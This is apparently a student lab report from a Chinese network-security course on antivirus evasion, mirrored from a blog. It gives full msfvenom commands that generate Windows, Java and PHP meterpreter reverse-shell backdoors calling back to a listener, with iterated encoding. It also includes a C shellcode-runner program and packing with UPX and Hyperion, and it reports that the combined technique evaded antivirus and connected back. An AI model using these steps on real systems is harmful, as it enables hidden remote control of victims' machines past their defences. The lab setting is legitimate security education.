zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    • 实验内容

      • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
        • 使用msf编码器生成各种后门程序及检测
        • 使用veil-evasion生成后门程序及检测
      • 任务二:通过组合应用各种技术实现恶意代码免杀
      • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
    • 基础问题回答

      • (1)杀软是如何检测出恶意代码的?
        检测代码是否含有特征码;检测代码的行为是不是和恶意代码相同;启发式恶意代码检测。
      • (2)免杀是做什么?
        防止恶意代码被安全软件检测、识别。
      • (3)免杀的基本方法有哪些?
        • 改变特征码
          - 只有EXE——加壳(压缩壳 加密壳)
          - 有shellcode——利用encode进行编码
          - 有源代码——用其他语言进行重写再编译

        • 改变行为

          • 通讯方式
            • 尽量使用反弹式连接
            • 使用隧道技
            • 加密通讯数据
        • 操作模式
          - 基于内存操作
          - 减少对系统的修改
          - 加入混淆作用的正常功能代码

        • 非常规方法
          - 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
          - 使用社工类攻击,诱骗目标关闭AV软件。
          - 纯手工打造一个恶意软件

    • 实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 用VirusTotal扫描后结果如下

    • 用Virscan网站的扫描结果如下

    不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

    • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor.exe

    • 扫描结果

    • 十次编码使用命令:-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor10.exe

    • 扫描结果

    由此可见,多次编码对免杀没有太大的效果

    msfvenom生成jar文件

    • 生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> ctf_backdoor_java.jar

    • 扫描结果

    msfvenom生成php文件

    • 生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> 20165301_backdoor.php
    • 扫描结果

    使用veil-evasion生成后门程序及检测

    • 安装veil
    • mkdir -p ~/.cache/wine
    • cd ~/.cache/wine
    • wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    • wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    • sudo apt-get install veil-evasion

    半手工注入Shellcode并执行

    • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 -f c用c语言生成一段shellcode

    • 创建一个文件20165301.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    此处省略
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    • 使用命令i686-w64-mingw32-g++ 20165301.c -o 20165301.exe编译这个.c文件为可执行文件.exe

    • 检测结果

    加壳

    在技术上分壳分为:

    • 压缩壳

      • 减少应用体积,如ASPack,UPX
    • 加密壳

      • 版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机

      • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
    • 使用压缩壳(UPX)

      • 给20165301.exe加个壳
      • 查看连接情况,可以反弹连接
      • 检测结果
    • 加密壳Hyperion

      • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
      • 进入目录/usr/share/windows-binaries/hyperion/
      • 输入命令wine hyperion.exe -v ctf.exe ctf_upxed_Hyperion.exe进行加壳

    生成新的可执行文件

    反弹连接

    检测结果

    任务二:通过组合应用各种技术实现恶意代码免杀

    • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
    • 任务成功截图:



    • 实验遇到的问题
      veil安装过程遇到很大困难,有时候生成的壳无法打开。经过反复尝试,最终解决。
  • 相关阅读:
    【筛法求素数】Codeforces Round #426 (Div. 1) A. The Meaningless Game
    【构造】AtCoder Regular Contest 079 F
    【贪心】AtCoder Regular Contest 079 E
    【构造】AtCoder Regular Contest 079 D
    【树形dp】hdu6035 Colorful Tree
    【计算几何】【bitset】Gym
    【枚举】【高斯消元】Gym
    【矩阵乘法】Gym
    【枚举约数】Gym
    【置换群】【枚举约数】hdu6038 Function
  • 原文地址:https://www.cnblogs.com/CTF5301/p/10633621.html
Copyright © 2011-2022 走看看